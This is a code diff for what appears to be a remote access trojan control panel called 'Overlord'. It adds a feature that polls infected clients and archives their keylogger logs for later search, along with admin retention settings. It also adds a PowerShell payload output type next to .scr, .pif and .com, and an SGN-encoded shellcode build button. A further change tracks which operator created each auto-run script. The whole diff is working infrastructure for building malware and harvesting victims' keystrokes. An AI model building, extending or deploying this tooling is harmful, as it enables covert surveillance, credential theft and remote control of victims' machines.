@@ -1236,6 +1245,81 @@ async function loadChatSettings() {
|
||||
}
|
||||
}
|
||||
|
||||
async function loadInputArchiveSettings() {
|
||||
try {
|
||||
const res = await fetch("/api/settings/input-archive", { credentials: "include" });
|
||||
const data = await res.json().catch(() => ({}));
|
||||
if (!res.ok) return;
|
||||
if (inputArchiveMyEnabledInput) inputArchiveMyEnabledInput.checked = !!data.myEnabled;
|
||||
const cfg = data.inputArchive || {};
|
||||
if (inputArchiveGlobalEnabledInput) inputArchiveGlobalEnabledInput.checked = !!cfg.enabled;
|
||||
if (inputArchiveRetentionDaysInput) inputArchiveRetentionDaysInput.value = cfg.retentionDays ?? 7;
|
||||
if (inputArchiveMaxFileMbInput) inputArchiveMaxFileMbInput.value = Math.max(1, Math.round((Number(cfg.maxFileBytes) || 0) / 1024 / 1024)) || 5;
|
||||
if (inputArchivePollSecondsInput) inputArchivePollSecondsInput.value = cfg.pollIntervalSeconds ?? 300;
|
||||
} catch {
|
||||
console.warn("Failed to load input archive settings");
|
||||
}
|
||||
}
|
||||
|
||||
async function saveInputArchivePreference(event) {
|
||||
event.preventDefault();
|
||||
const res = await fetch("/api/settings/input-archive", {
|
||||
method: "PUT",
|
||||
headers: { "Content-Type": "application/json" },
|
||||
credentials: "include",
|
||||
body: JSON.stringify({ myEnabled: !!inputArchiveMyEnabledInput?.checked }),
|
||||
});
|
||||
const data = await res.json().catch(() => ({}));
|
||||
if (!res.ok) {
|
||||
showMessage(data.error || "Failed to save input archive preference.", "error");
|
||||
return;
|
||||
}
|
||||
showMessage("Input archive preference saved.");
|
||||
}
|
||||
|
||||
async function saveInputArchiveAdminSettings(event) {
|
||||
event.preventDefault();
|
||||
if (!requireUiPermission("system:input-archive", "Input archive settings permission required.")) {
|
||||
return;
|
||||
}
|
||||
|
||||
const retentionDays = Number(inputArchiveRetentionDaysInput?.value);
|
||||
const maxFileMb = Number(inputArchiveMaxFileMbInput?.value);
|
||||
const pollIntervalSeconds = Number(inputArchivePollSecondsInput?.value);
|
||||
if (!Number.isFinite(retentionDays) || retentionDays < 1 || retentionDays > 365) {
|
||||
showMessage("Archive retention must be 1-365 days.", "error");
|
||||
return;
|
||||
}
|
||||
if (!Number.isFinite(maxFileMb) || maxFileMb < 1 || maxFileMb > 50) {
|
||||
showMessage("Max file size must be 1-50 MB.", "error");
|
||||
return;
|
||||
}
|
||||
if (!Number.isFinite(pollIntervalSeconds) || pollIntervalSeconds < 0 || pollIntervalSeconds > 86400) {
|
||||
showMessage("Poll interval must be 0-86400 seconds.", "error");
|
||||
return;
|
||||
}
|
||||
|
||||
const res = await fetch("/api/settings/input-archive", {
|
||||
method: "PUT",
|
||||
headers: { "Content-Type": "application/json" },
|
||||
credentials: "include",
|
||||
body: JSON.stringify({
|
||||
inputArchive: {
|
||||
enabled: !!inputArchiveGlobalEnabledInput?.checked,
|
||||
retentionDays,
|
||||
maxFileBytes: Math.round(maxFileMb * 1024 * 1024),
|
||||
pollIntervalSeconds: Math.round(pollIntervalSeconds),
|
||||
},
|
||||
}),
|
||||
});
|
||||
const data = await res.json().catch(() => ({}));
|
||||
if (!res.ok) {
|
||||
showMessage(data.error || "Failed to save input archive settings.", "error");
|
||||
return;
|
||||
}
|
||||
showMessage("Input archive settings saved.");
|
||||
}
|
||||
|
||||
async function saveChatSettings(event) {
|
||||
event.preventDefault();
|
||||
if (!requireUiPermission("system:chat", "Team chat settings permission required.")) {
|
||||
@@ -2308,6 +2392,7 @@ async function init() {
|
||||
await loadTlsSettings();
|
||||
await loadAppearanceSettings();
|
||||
await loadChatSettings();
|
||||
await loadInputArchiveSettings();
|
||||
await loadBannedIps();
|
||||
|
||||
if (userHas("users:manage")) {
|
||||
@@ -2357,6 +2442,8 @@ async function init() {
|
||||
tlsCertbotAutoBtn.addEventListener("click", runCertbotAutoSetup);
|
||||
if (appearanceForm) appearanceForm.addEventListener("submit", saveAppearanceSettings);
|
||||
if (chatSettingsForm) chatSettingsForm.addEventListener("submit", saveChatSettings);
|
||||
if (inputArchiveUserForm) inputArchiveUserForm.addEventListener("submit", saveInputArchivePreference);
|
||||
if (inputArchiveAdminForm) inputArchiveAdminForm.addEventListener("submit", saveInputArchiveAdminSettings);
|
||||
if (exportSettingsBtn) exportSettingsBtn.addEventListener("click", exportSettings);
|
||||
if (importSettingsFile) importSettingsFile.addEventListener("change", importSettings);
|
||||
refreshBansBtn.addEventListener("click", loadBannedIps);
|
||||
|
||||
@@ -37,6 +37,169 @@
|
||||
.accordion-chevron.rotated {
|
||||
transform: rotate(-180deg);
|
||||
}
|
||||
.sgn-txt-lockbox {
|
||||
position: relative;
|
||||
isolation: isolate;
|
||||
--sgn-chain-brightness: 1;
|
||||
--sgn-chain-opacity: 0.9;
|
||||
--sgn-crack-opacity: 0;
|
||||
--sgn-crack-dash: 1;
|
||||
--sgn-crack-mid-opacity: 0;
|
||||
--sgn-crack-mid-dash: 1;
|
||||
--sgn-crack-late-opacity: 0;
|
||||
--sgn-crack-late-dash: 1;
|
||||
--sgn-lock-tilt: 0deg;
|
||||
border-radius: 8px;
|
||||
overflow: hidden;
|
||||
}
|
||||
.sgn-txt-lockbox::before,
|
||||
.sgn-txt-lockbox::after {
|
||||
content: "";
|
||||
position: absolute;
|
||||
left: 3px;
|
||||
top: 50%;
|
||||
width: calc(100% - 6px);
|
||||
height: 18px;
|
||||
border-radius: 999px;
|
||||
background:
|
||||
radial-gradient(ellipse 11px 7px at 8px 50%, transparent 4.4px, rgba(148, 163, 184, 0.98) 4.8px 6.7px, transparent 7.1px),
|
||||
radial-gradient(ellipse 11px 7px at 22px 50%, transparent 4.4px, rgba(148, 163, 184, 0.98) 4.8px 6.7px, transparent 7.1px);
|
||||
background-size: 28px 18px;
|
||||
background-repeat: repeat-x;
|
||||
background-position: center;
|
||||
box-shadow: none;
|
||||
opacity: var(--sgn-chain-opacity);
|
||||
pointer-events: none;
|
||||
transform-origin: center;
|
||||
transition: opacity 0.25s ease, filter 0.25s ease;
|
||||
filter: brightness(var(--sgn-chain-brightness));
|
||||
z-index: 2;
|
||||
}
|
||||
.sgn-txt-lockbox::before {
|
||||
transform: translateY(-50%) rotate(-8deg);
|
||||
}
|
||||
.sgn-txt-lockbox::after {
|
||||
transform: translateY(-50%) rotate(8deg);
|
||||
}
|
||||
.sgn-txt-lockbox.unlocked::before {
|
||||
opacity: 0;
|
||||
transform: translateY(-50%) rotate(-8deg);
|
||||
}
|
||||
.sgn-txt-lockbox.unlocked::after {
|
||||
opacity: 0;
|
||||
transform: translateY(-50%) rotate(8deg);
|
||||
}
|
||||
.sgn-txt-cracks {
|
||||
position: absolute;
|
||||
inset: 2px 8px;
|
||||
border-radius: 8px;
|
||||
pointer-events: none;
|
||||
opacity: var(--sgn-crack-opacity);
|
||||
transition: opacity 0.18s ease;
|
||||
z-index: 4;
|
||||
}
|
||||
.sgn-txt-cracks svg {
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
display: block;
|
||||
overflow: visible;
|
||||
}
|
||||
.sgn-txt-cracks path {
|
||||
fill: none;
|
||||
stroke-linecap: round;
|
||||
stroke-linejoin: round;
|
||||
stroke-dasharray: 1;
|
||||
stroke-dashoffset: var(--sgn-crack-dash);
|
||||
transition: stroke-dashoffset 0.18s ease, opacity 0.18s ease;
|
||||
}
|
||||
.sgn-txt-cracks .crack-main {
|
||||
stroke: rgba(248, 250, 252, 0.9);
|
||||
stroke-width: 1.9;
|
||||
filter: drop-shadow(0 0 4px rgba(248, 250, 252, 0.45));
|
||||
}
|
||||
.sgn-txt-cracks .crack-branch {
|
||||
stroke: rgba(244, 114, 182, 0.72);
|
||||
stroke-width: 1.45;
|
||||
opacity: calc(var(--sgn-crack-opacity) * 0.85);
|
||||
}
|
||||
.sgn-txt-cracks .crack-mid {
|
||||
stroke: rgba(248, 250, 252, 0.76);
|
||||
stroke-width: 1.25;
|
||||
stroke-dashoffset: var(--sgn-crack-mid-dash);
|
||||
opacity: var(--sgn-crack-mid-opacity);
|
||||
}
|
||||
.sgn-txt-cracks .crack-late {
|
||||
stroke: rgba(244, 114, 182, 0.82);
|
||||
stroke-width: 1.15;
|
||||
stroke-dashoffset: var(--sgn-crack-late-dash);
|
||||
opacity: var(--sgn-crack-late-opacity);
|
||||
}
|
||||
.sgn-txt-lock {
|
||||
position: absolute;
|
||||
left: 50%;
|
||||
top: 50%;
|
||||
width: 52px;
|
||||
height: 52px;
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
font-size: 1.45rem;
|
||||
border-radius: 999px;
|
||||
border: none;
|
||||
background: transparent;
|
||||
color: rgb(203, 213, 225);
|
||||
text-shadow: 0 2px 0 rgba(15, 23, 42, 0.8), 0 0 8px rgba(15, 23, 42, 0.65);
|
||||
box-shadow: none;
|
||||
transform: translate(-50%, -50%) rotate(var(--sgn-lock-tilt));
|
||||
pointer-events: none;
|
||||
transition: opacity 0.25s ease, transform 0.25s ease;
|
||||
z-index: 5;
|
||||
}
|
||||
.sgn-txt-lockbox.unlocked .sgn-txt-lock {
|
||||
opacity: 0;
|
||||
transform: translate(-50%, -50%) scale(0.65) rotate(18deg);
|
||||
}
|
||||
.sgn-txt-lockbox.locked #build-sgn-txt-btn {
|
||||
filter: saturate(0.75);
|
||||
}
|
||||
.sgn-txt-lockbox.locked.pulse #build-sgn-txt-btn {
|
||||
animation: sgnLockPulse 0.18s ease;
|
||||
}
|
||||
.sgn-txt-lockbox.locked.pulse::before {
|
||||
animation: sgnChainPulseA 0.18s ease;
|
||||
}
|
||||
.sgn-txt-lockbox.locked.pulse::after {
|
||||
animation: sgnChainPulseB 0.18s ease;
|
||||
}
|
||||
.sgn-txt-lockbox.locked.pulse .sgn-txt-lock {
|
||||
animation: sgnLockIconPulse 0.18s ease;
|
||||
}
|
||||
.sgn-txt-lockbox.locked #build-sgn-txt-btn > * {
|
||||
opacity: 0;
|
||||
}
|
||||
.sgn-txt-lockbox.unlocked .sgn-txt-cracks {
|
||||
opacity: 0;
|
||||
}
|
||||
@keyframes sgnLockPulse {
|
||||
0%, 100% { transform: translateX(0); }
|
||||
25% { transform: translateX(-2px); }
|
||||
75% { transform: translateX(2px); }
|
||||
}
|
||||
@keyframes sgnChainPulseA {
|
||||
0%, 100% { transform: translateY(-50%) rotate(-8deg); }
|
||||
25% { transform: translate(-2px, -50%) rotate(-8deg); }
|
||||
75% { transform: translate(2px, -50%) rotate(-8deg); }
|
||||
}
|
||||
@keyframes sgnChainPulseB {
|
||||
0%, 100% { transform: translateY(-50%) rotate(8deg); }
|
||||
25% { transform: translate(2px, -50%) rotate(8deg); }
|
||||
75% { transform: translate(-2px, -50%) rotate(8deg); }
|
||||
}
|
||||
@keyframes sgnLockIconPulse {
|
||||
0%, 100% { transform: translate(-50%, -50%) rotate(var(--sgn-lock-tilt)); }
|
||||
25% { transform: translate(calc(-50% - 2px), -50%) rotate(var(--sgn-lock-tilt)); }
|
||||
75% { transform: translate(calc(-50% + 2px), -50%) rotate(var(--sgn-lock-tilt)); }
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body class="min-h-screen bg-slate-950 text-slate-100">
|
||||
@@ -716,6 +879,7 @@
|
||||
<option value=".scr">.scr — Screen Saver</option>
|
||||
<option value=".bat">.bat — Batch Script</option>
|
||||
<option value=".cmd">.cmd — Command Script</option>
|
||||
<option value=".ps1">.ps1 — PowerShell Script</option>
|
||||
<option value=".pif">.pif — Program Info File</option>
|
||||
<option value=".com">.com — MS-DOS Application</option>
|
||||
</select>
|
||||
@@ -786,6 +950,34 @@
|
||||
<span>Build & Upload</span>
|
||||
</button>
|
||||
</div>
|
||||
<div id="build-sgn-txt-lockbox" class="sgn-txt-lockbox locked hidden">
|
||||
<button type="button" id="build-sgn-txt-btn"
|
||||
class="w-full flex items-center justify-center gap-2 px-4 py-3 rounded-lg bg-fuchsia-600 hover:bg-fuchsia-700 text-white font-medium transition-colors disabled:opacity-50 disabled:cursor-not-allowed">
|
||||
<i class="fa-solid fa-file-lines"></i>
|
||||
<span>Build SGN TXT</span>
|
||||
</button>
|
||||
<div class="sgn-txt-cracks" aria-hidden="true">
|
||||
<svg viewBox="0 0 100 36" preserveAspectRatio="none">
|
||||
<path class="crack-main" pathLength="1" d="M50 1 L46 7 L54 13 L48 20 L52 27 L49 35" />
|
||||
<path class="crack-branch" pathLength="1" d="M46 7 L35 4 L22 9 L10 7" />
|
||||
<path class="crack-branch" pathLength="1" d="M54 13 L67 9 L82 14 L95 11" />
|
||||
<path class="crack-branch" pathLength="1" d="M48 20 L34 22 L20 29 L6 31" />
|
||||
<path class="crack-branch" pathLength="1" d="M51 24 L65 25 L80 31 L98 29" />
|
||||
<path class="crack-branch" pathLength="1" d="M49 31 L39 34 L30 35" />
|
||||
<path class="crack-mid" pathLength="1" d="M18 3 L25 10 L21 17 L30 23 L27 34" />
|
||||
<path class="crack-mid" pathLength="1" d="M79 2 L73 8 L78 16 L70 21 L74 33" />
|
||||
<path class="crack-mid" pathLength="1" d="M25 10 L13 14 L5 21" />
|
||||
<path class="crack-mid" pathLength="1" d="M75 18 L88 22 L99 20" />
|
||||
<path class="crack-late" pathLength="1" d="M7 5 L13 11 L9 18 L16 27 L12 35" />
|
||||
<path class="crack-late" pathLength="1" d="M94 4 L87 12 L91 18 L84 27 L89 35" />
|
||||
<path class="crack-late" pathLength="1" d="M38 1 L34 8 L39 14" />
|
||||
<path class="crack-late" pathLength="1" d="M62 35 L66 28 L61 22" />
|
||||
</svg>
|
||||
</div>
|
||||
<div class="sgn-txt-lock" aria-hidden="true">
|
||||
<i class="fa-solid fa-lock"></i>
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
</div>
|
||||
|
||||
|
||||
@@ -1002,6 +1002,6 @@
|
||||
<input type="file" id="file-input" style="display: none" multiple />
|
||||
|
||||
<script type="module" src="/assets/nav.js"></script>
|
||||
<script type="module" src="/assets/filebrowser.js?v=pinpreviewhex-20260520-3"></script>
|
||||
<script type="module" src="/assets/filebrowser.js?v=mac-permission-locks-20260609-1"></script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@@ -81,6 +81,7 @@
|
||||
<a data-target="section-account" class="settings-nav-link" style="--accent: 56 189 248"><i class="fa-solid fa-user w-4 text-sky-400"></i><span>Account</span></a>
|
||||
<a data-target="section-sessions" class="settings-nav-link" style="--accent: 52 211 153"><i class="fa-solid fa-desktop w-4 text-emerald-400"></i><span>Active Sessions</span></a>
|
||||
<a data-target="section-prefs" class="settings-nav-link" style="--accent: 167 139 250"><i class="fa-solid fa-sliders w-4 text-violet-400"></i><span>Dashboard Preferences</span></a>
|
||||
<a data-target="input-archive-section" class="settings-nav-link" style="--accent: 250 204 21"><i class="fa-solid fa-box-archive w-4 text-yellow-400"></i><span>Input Archive</span></a>
|
||||
<a data-target="telegram-settings" class="settings-nav-link" style="--accent: 52 211 153"><i class="fa-solid fa-bell w-4 text-emerald-400"></i><span>Notification Delivery</span></a>
|
||||
<a data-target="section-news" class="settings-nav-link" style="--accent: 56 189 248"><i class="fa-brands fa-telegram w-4 text-sky-400"></i><span>News & Updates</span></a>
|
||||
|
||||
@@ -96,6 +97,7 @@
|
||||
<a data-target="chat-settings-section" class="settings-nav-link" data-permission="system:chat" style="--accent: 56 189 248"><i class="fa-solid fa-comments w-4 text-sky-400"></i><span>Team Chat</span></a>
|
||||
<a data-target="registration-section" class="settings-nav-link" data-permission="system:registration" style="--accent: 52 211 153"><i class="fa-solid fa-user-plus w-4 text-emerald-400"></i><span>Registration</span></a>
|
||||
<a data-target="thumbnails-section" class="settings-nav-link" data-permission="system:thumbnails" style="--accent: 56 189 248"><i class="fa-solid fa-images w-4 text-sky-400"></i><span>Screenshot Thumbnails</span></a>
|
||||
<a data-target="input-archive-admin-section" class="settings-nav-link" data-permission="system:input-archive" style="--accent: 250 204 21"><i class="fa-solid fa-database w-4 text-yellow-400"></i><span>Input Archive Admin</span></a>
|
||||
<a data-target="build-rate-limit-section" class="settings-nav-link" data-permission="system:build-limits" style="--accent: 251 146 60"><i class="fa-solid fa-gauge-high w-4 text-orange-400"></i><span>Build Rate Limit</span></a>
|
||||
<a data-target="section-appearance" class="settings-nav-link" data-permission="system:appearance" style="--accent: 232 121 249"><i class="fa-solid fa-paintbrush w-4 text-fuchsia-400"></i><span>Custom CSS</span></a>
|
||||
<a data-target="export-import-section" class="settings-nav-link" data-permission="system:export-import" style="--accent: 251 191 36"><i class="fa-solid fa-file-export w-4 text-amber-400"></i><span>Export / Import</span></a>
|
||||
@@ -372,6 +374,33 @@
|
||||
</form>
|
||||
</section>
|
||||
|
||||
<!-- Input Archive -->
|
||||
<section id="input-archive-section" class="bg-slate-900/60 border border-slate-800 rounded-xl p-5 space-y-4 settings-section">
|
||||
<div class="flex items-center gap-3">
|
||||
<div class="flex items-center justify-center w-9 h-9 rounded-lg bg-yellow-500/10 border border-yellow-500/30">
|
||||
<i class="fa-solid fa-box-archive text-yellow-400"></i>
|
||||
</div>
|
||||
<div>
|
||||
<h2 class="text-lg font-semibold">Input Archive</h2>
|
||||
<p class="text-sm text-slate-400">Opt in to server-side retrieval for clients you can access.</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<form id="input-archive-user-form" class="space-y-4">
|
||||
<label class="flex items-start gap-3 p-3 rounded-lg border border-slate-700/60 bg-slate-900/40 hover:bg-slate-900/70 cursor-pointer transition-colors">
|
||||
<input id="input-archive-my-enabled" type="checkbox" class="mt-1 h-4 w-4 accent-yellow-500" />
|
||||
<div>
|
||||
<div class="text-sm font-medium text-slate-100">Auto retrieve input logs for my accessible clients</div>
|
||||
<div class="text-xs text-slate-400">When the global archive is enabled, online clients are polled and stored in SQLite so the keylogger page can search archived logs while a client is offline.</div>
|
||||
</div>
|
||||
</label>
|
||||
|
||||
<button type="submit" class="inline-flex items-center gap-2 px-4 py-2 rounded-lg bg-yellow-700 hover:bg-yellow-600 transition-colors text-white text-sm font-medium">
|
||||
<i class="fa-solid fa-floppy-disk"></i>Save Preference
|
||||
</button>
|
||||
</form>
|
||||
</section>
|
||||
|
||||
<!-- Notification Delivery -->
|
||||
<section id="telegram-settings" class="bg-slate-900/60 border border-slate-800 rounded-xl p-5 space-y-4 settings-section">
|
||||
<div class="flex items-center gap-3">
|
||||
@@ -411,7 +440,7 @@
|
||||
<p class="text-xs text-slate-500 mt-1">Channel: <span class="text-slate-400 font-mono">@kunta</span></p>
|
||||
</div>
|
||||
<a
|
||||
href="https://t.me/kunta"
|
||||
href="https://t.me/KTicketsBot"
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
class="inline-flex items-center gap-2 px-4 py-2 rounded-lg bg-sky-600 hover:bg-sky-500 transition-colors text-white text-sm font-medium whitespace-nowrap"
|
||||
@@ -983,6 +1012,48 @@
|
||||
<p id="thumbnails-msg" class="hidden text-sm rounded-lg px-3 py-2 border"></p>
|
||||
</section>
|
||||
|
||||
<!-- Input Archive Admin -->
|
||||
<section id="input-archive-admin-section" data-permission="system:input-archive" class="hidden bg-slate-900/60 border border-slate-800 rounded-xl p-5 space-y-4 settings-section">
|
||||
<div class="flex items-center gap-3">
|
||||
<div class="flex items-center justify-center w-9 h-9 rounded-lg bg-yellow-500/10 border border-yellow-500/30">
|
||||
<i class="fa-solid fa-database text-yellow-400"></i>
|
||||
</div>
|
||||
<div>
|
||||
<h2 class="text-lg font-semibold">Input Archive Admin</h2>
|
||||
<p class="text-sm text-slate-400">Admin-only. Control server-side SQLite retention and retrieval limits.</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<form id="input-archive-admin-form" class="space-y-4">
|
||||
<label class="flex items-start gap-3 p-3 rounded-lg border border-slate-700/60 bg-slate-900/40 hover:bg-slate-900/70 cursor-pointer transition-colors">
|
||||
<input id="input-archive-global-enabled" type="checkbox" class="mt-1 h-4 w-4 accent-yellow-500" />
|
||||
<div>
|
||||
<div class="text-sm font-medium text-slate-100">Enable global input archive</div>
|
||||
<div class="text-xs text-slate-400">Per-user opt-ins only take effect while this global switch is enabled.</div>
|
||||
</div>
|
||||
</label>
|
||||
|
||||
<div class="grid grid-cols-1 sm:grid-cols-3 gap-3">
|
||||
<label class="block">
|
||||
<span class="text-sm text-slate-300">Retention (days)</span>
|
||||
<input id="input-archive-retention-days" type="number" min="1" max="365" step="1" class="mt-1 w-full px-3 py-2 rounded-lg bg-slate-900 border border-slate-700 focus:outline-none focus:ring-2 focus:ring-yellow-500 text-sm" />
|
||||
</label>
|
||||
<label class="block">
|
||||
<span class="text-sm text-slate-300">Max file size (MB)</span>
|
||||
<input id="input-archive-max-file-mb" type="number" min="1" max="50" step="1" class="mt-1 w-full px-3 py-2 rounded-lg bg-slate-900 border border-slate-700 focus:outline-none focus:ring-2 focus:ring-yellow-500 text-sm" />
|
||||
</label>
|
||||
<label class="block">
|
||||
<span class="text-sm text-slate-300">Poll interval (seconds)</span>
|
||||
<input id="input-archive-poll-seconds" type="number" min="0" max="86400" step="30" class="mt-1 w-full px-3 py-2 rounded-lg bg-slate-900 border border-slate-700 focus:outline-none focus:ring-2 focus:ring-yellow-500 text-sm" />
|
||||
</label>
|
||||
</div>
|
||||
|
||||
<button type="submit" class="inline-flex items-center gap-2 px-4 py-2 rounded-lg bg-yellow-700 hover:bg-yellow-600 transition-colors text-white text-sm font-medium">
|
||||
<i class="fa-solid fa-floppy-disk"></i>Save Archive Settings
|
||||
</button>
|
||||
</form>
|
||||
</section>
|
||||
|
||||
<!-- Build Rate Limit (admin only) -->
|
||||
<section id="build-rate-limit-section" data-permission="system:build-limits" class="hidden bg-slate-900/60 border border-slate-800 rounded-xl p-5 space-y-4 settings-section">
|
||||
<div class="flex items-center gap-3">
|
||||
@@ -1314,7 +1385,7 @@
|
||||
<!-- /flex wrapper -->
|
||||
|
||||
<footer class="text-center text-sm text-slate-500 py-4 border-t border-slate-800 mt-4">
|
||||
<p>Created by KDot — <a href="https://t.me/kunta" target="_blank" rel="noopener noreferrer" class="text-sky-400 hover:text-sky-300 transition-colors"><i class="fa-brands fa-telegram"></i> t.me/kunta</a></p>
|
||||
<p>Created by KDot — <a href="https://t.me/Onimai" target="_blank" rel="noopener noreferrer" class="text-sky-400 hover:text-sky-300 transition-colors"><i class="fa-brands fa-telegram"></i> t.me/Onimai</a></p>
|
||||
</footer>
|
||||
|
||||
</main>
|
||||
|
||||
@@ -47,6 +47,7 @@ export type BuildConfig = {
|
||||
shellcodeConsole?: boolean;
|
||||
useSgn?: boolean;
|
||||
sgnIterations?: number;
|
||||
outputSgnTxt?: boolean;
|
||||
criticalProcess?: boolean;
|
||||
disableKeylogger?: boolean;
|
||||
enableWebrtc?: boolean;
|
||||
|
||||
@@ -89,6 +89,12 @@ export interface Config {
|
||||
dashboardEnabled: boolean;
|
||||
wallEnabled: boolean;
|
||||
};
|
||||
inputArchive: {
|
||||
enabled: boolean;
|
||||
retentionDays: number;
|
||||
maxFileBytes: number;
|
||||
pollIntervalSeconds: number;
|
||||
};
|
||||
}
|
||||
|
||||
const DEFAULT_CONFIG: Config = {
|
||||
@@ -176,6 +182,12 @@ const DEFAULT_CONFIG: Config = {
|
||||
dashboardEnabled: true,
|
||||
wallEnabled: true,
|
||||
},
|
||||
inputArchive: {
|
||||
enabled: false,
|
||||
retentionDays: 7,
|
||||
maxFileBytes: 5 * 1024 * 1024,
|
||||
pollIntervalSeconds: 300,
|
||||
},
|
||||
};
|
||||
|
||||
function envBoolOverride(name: string): boolean | undefined {
|
||||
@@ -609,6 +621,32 @@ export function loadConfig(): Config {
|
||||
? Boolean(fileConfig.thumbnails.wallEnabled)
|
||||
: DEFAULT_CONFIG.thumbnails.wallEnabled),
|
||||
},
|
||||
inputArchive: {
|
||||
enabled:
|
||||
envBoolOverride("OVERLORD_INPUT_ARCHIVE_ENABLED") ??
|
||||
(fileConfig.inputArchive?.enabled !== undefined
|
||||
? Boolean(fileConfig.inputArchive.enabled)
|
||||
: DEFAULT_CONFIG.inputArchive.enabled),
|
||||
retentionDays: Math.min(
|
||||
365,
|
||||
Math.max(1, Number(process.env.OVERLORD_INPUT_ARCHIVE_RETENTION_DAYS) || Number(fileConfig.inputArchive?.retentionDays) || DEFAULT_CONFIG.inputArchive.retentionDays),
|
||||
),
|
||||
maxFileBytes: Math.min(
|
||||
50 * 1024 * 1024,
|
||||
Math.max(64 * 1024, Number(process.env.OVERLORD_INPUT_ARCHIVE_MAX_FILE_BYTES) || Number(fileConfig.inputArchive?.maxFileBytes) || DEFAULT_CONFIG.inputArchive.maxFileBytes),
|
||||
),
|
||||
pollIntervalSeconds: Math.min(
|
||||
24 * 60 * 60,
|
||||
Math.max(
|
||||
0,
|
||||
process.env.OVERLORD_INPUT_ARCHIVE_POLL_INTERVAL_SECONDS !== undefined
|
||||
? Number(process.env.OVERLORD_INPUT_ARCHIVE_POLL_INTERVAL_SECONDS)
|
||||
: fileConfig.inputArchive?.pollIntervalSeconds !== undefined
|
||||
? Number(fileConfig.inputArchive.pollIntervalSeconds)
|
||||
: DEFAULT_CONFIG.inputArchive.pollIntervalSeconds,
|
||||
),
|
||||
),
|
||||
},
|
||||
};
|
||||
|
||||
if (saveChanged) {
|
||||
@@ -850,6 +888,31 @@ export async function updateChatConfig(
|
||||
return next;
|
||||
}
|
||||
|
||||
export async function updateInputArchiveConfig(
|
||||
updates: Partial<Config["inputArchive"]>,
|
||||
): Promise<Config["inputArchive"]> {
|
||||
const current = getConfig();
|
||||
const next: Config["inputArchive"] = {
|
||||
...current.inputArchive,
|
||||
...updates,
|
||||
};
|
||||
|
||||
next.enabled = Boolean(next.enabled);
|
||||
next.retentionDays = Math.min(365, Math.max(1, Number(next.retentionDays) || 7));
|
||||
next.maxFileBytes = Math.min(50 * 1024 * 1024, Math.max(64 * 1024, Number(next.maxFileBytes) || DEFAULT_CONFIG.inputArchive.maxFileBytes));
|
||||
next.pollIntervalSeconds = Math.min(24 * 60 * 60, Math.max(0, Number(next.pollIntervalSeconds) || 0));
|
||||
|
||||
configCache = {
|
||||
...current,
|
||||
inputArchive: next,
|
||||
};
|
||||
|
||||
const fileConfig = readFileConfigForUpdate();
|
||||
fileConfig.inputArchive = next;
|
||||
await writePersistentFileConfig(fileConfig);
|
||||
return next;
|
||||
}
|
||||
|
||||
export async function updateRegistrationConfig(
|
||||
updates: Partial<Config["registration"]>,
|
||||
): Promise<Config["registration"]> {
|
||||
@@ -1011,6 +1074,7 @@ export function getExportableConfig(serverVersion: string): Record<string, unkno
|
||||
banlist: config.buildSigning.banlist,
|
||||
},
|
||||
thumbnails: config.thumbnails,
|
||||
inputArchive: config.inputArchive,
|
||||
};
|
||||
}
|
||||
|
||||
@@ -1089,6 +1153,11 @@ export async function importFullConfig(data: Record<string, any>): Promise<{ app
|
||||
applied.push("thumbnails");
|
||||
}
|
||||
|
||||
if (data.inputArchive && typeof data.inputArchive === "object") {
|
||||
await updateInputArchiveConfig(data.inputArchive);
|
||||
applied.push("inputArchive");
|
||||
}
|
||||
|
||||
if (data.auth && typeof data.auth === "object") {
|
||||
const dataDir = ensureDataDir();
|
||||
const savePath = resolve(dataDir, "save.json");
|
||||
|
||||
@@ -1393,6 +1393,7 @@ export type AutoScript = {
|
||||
scriptType: string;
|
||||
enabled: boolean;
|
||||
osFilter: string[];
|
||||
createdByUserId: number | null;
|
||||
createdAt: number;
|
||||
updatedAt: number;
|
||||
};
|
||||
@@ -1411,6 +1412,7 @@ function mapAutoScriptRow(row: any): AutoScript {
|
||||
scriptType: row.script_type,
|
||||
enabled: row.enabled === 1,
|
||||
osFilter,
|
||||
createdByUserId: row.created_by_user_id == null ? null : Number(row.created_by_user_id),
|
||||
createdAt: Number(row.created_at) || 0,
|
||||
updatedAt: Number(row.updated_at) || 0,
|
||||
};
|
||||
@@ -1421,6 +1423,14 @@ export function listAutoScripts(): AutoScript[] {
|
||||
return rows.map(mapAutoScriptRow);
|
||||
}
|
||||
|
||||
export function listAutoScriptsForUser(userId: number, role: string): AutoScript[] {
|
||||
if (role === "admin") return listAutoScripts();
|
||||
const rows = db
|
||||
.query<any>(`SELECT * FROM auto_scripts WHERE created_by_user_id=? ORDER BY created_at DESC`)
|
||||
.all(userId);
|
||||
return rows.map(mapAutoScriptRow);
|
||||
}
|
||||
|
||||
export function getAutoScriptsByTrigger(trigger: AutoScriptTrigger): AutoScript[] {
|
||||
const rows = db
|
||||
.query<any>(
|
||||
@@ -1435,6 +1445,14 @@ export function getAutoScript(id: string): AutoScript | null {
|
||||
return row ? mapAutoScriptRow(row) : null;
|
||||
}
|
||||
|
||||
export function canUserManageAutoScript(userId: number, role: string, scriptId: string): boolean {
|
||||
if (role === "admin") return true;
|
||||
const row = db
|
||||
.query<{ created_by_user_id: number | null }>(`SELECT created_by_user_id FROM auto_scripts WHERE id=?`)
|
||||
.get(scriptId);
|
||||
return row?.created_by_user_id != null && Number(row.created_by_user_id) === userId;
|
||||
}
|
||||
|
||||
export function createAutoScript(input: {
|
||||
id: string;
|
||||
name: string;
|
||||
@@ -1443,11 +1461,12 @@ export function createAutoScript(input: {
|
||||
scriptType: string;
|
||||
enabled: boolean;
|
||||
osFilter: string[];
|
||||
createdByUserId: number;
|
||||
}): AutoScript {
|
||||
const now = Date.now();
|
||||
db.run(
|
||||
`INSERT INTO auto_scripts (id, name, trigger, script, script_type, enabled, os_filter, created_at, updated_at)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)`
|
||||
`INSERT INTO auto_scripts (id, name, trigger, script, script_type, enabled, os_filter, created_by_user_id, created_at, updated_at)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`
|
||||
,
|
||||
input.id,
|
||||
